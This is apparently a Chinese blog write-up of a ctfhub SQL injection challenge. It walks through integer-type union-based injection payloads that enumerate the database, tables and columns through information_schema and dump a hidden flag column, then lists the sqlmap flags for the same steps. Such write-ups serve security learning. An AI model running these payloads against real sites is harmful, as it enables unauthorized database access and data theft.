2025.1.15——六、SQL结构【❤sqlmap❤】

题目来源:ctfhub技能树

目录

一、打开靶机,整理已知信息

二、手工注入解题

[step 1:查看注入类型](#step 1:查看注入类型)

[step 2:order by语句判断字段数](#step 2:order by语句判断字段数)

[step 3:爆数据库名](#step 3:爆数据库名)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)

三、sqlmap解题------四步走

[step 1:--current-db](#step 1:--current-db)

[step 2:-D 数据库名 --tables](#step 2:-D 数据库名 --tables)

[​step 3:-D 数据库名 -T 表名 --columns](#step 3:-D 数据库名 -T 表名 --columns)

[step 4:-D 数据库名 -T 表名 -C 列名 --dump](#step 4:-D 数据库名 -T 表名 -C 列名 --dump)


一、打开靶机,整理已知信息

查看页面信息,提示"MySQL结构",所以为sql注入,两种思路:①手工注入;②sqlmap

二、手工注入解题

step 1:查看注入类型

键入:1

键入:1'键入:1''

键入:1 and 1=2 #

键入:1 and 1=1 #

由回显可得本题为整数型注入

step 2:order by语句判断字段数

键入:1 order by 2 #(根据经验,陌生题可使用二分法)

step 3:爆数据库名

sql 复制代码
1 and 1=2 union select database(),database() #

step 4:爆表名

sql 复制代码
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

出现了奇怪的东西,继续看

step 5:爆列名

sql 复制代码
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lcwaabhcjo' #

东西应该就在这里

step 6:爆具体数据

sql 复制代码
1 and 1=2 union select 1,zrlcbgazoj from sqli.lcwaabhcjo #

得到flag

三、sqlmap解题------四步走

step 1:--current-db

step 2:-D 数据库名 --tables

step 3:-D 数据库名 -T 表名 --columns

step 4:-D 数据库名 -T 表名 -C 列名 --dump

得到flag。【sqlmap------YYDS】

相关推荐
java1234_小锋2 分钟前
REDIS集群会有写操作丢失吗?为什么
数据库·redis·缓存
兰若姐姐3 分钟前
如何进行MSSQL提权?sp_oacreate、sp_oamethod和沙盒提权以及xp_regwrighte提权
数据库·sqlserver
一抓掉一大把4 分钟前
秒杀-订单创建消费者CreateOrderConsumer
网络·数据库
嘉年华-cocos6 分钟前
考研英语 5400 纯数据版
学习·英语·背单词·音标
海底的星星fly1 小时前
【Prompt学习技能树地图】生成知识提示技术的深度解析与应用
人工智能·学习·prompt
合作小小程序员小小店1 小时前
web安全开发,在线%服务器日志入侵检测%系统安全开发,基于Python,flaskWeb,正则表达式检测,mysql数据库
服务器·python·安全·web安全·flask·安全威胁分析·安全架构
槿花Hibiscus1 小时前
C++基础:Reactor模型设计思想与muduo架构理解
学习
straw_hat.2 小时前
32HAL——RTC时钟
stm32·学习
一只小bit2 小时前
MySQL事务:如何保证ACID?MVCC到底如何工作?
数据库·mysql·oracle
小猪咪piggy2 小时前
【项目】小型支付商城 MVC/DDD
java·jvm·数据库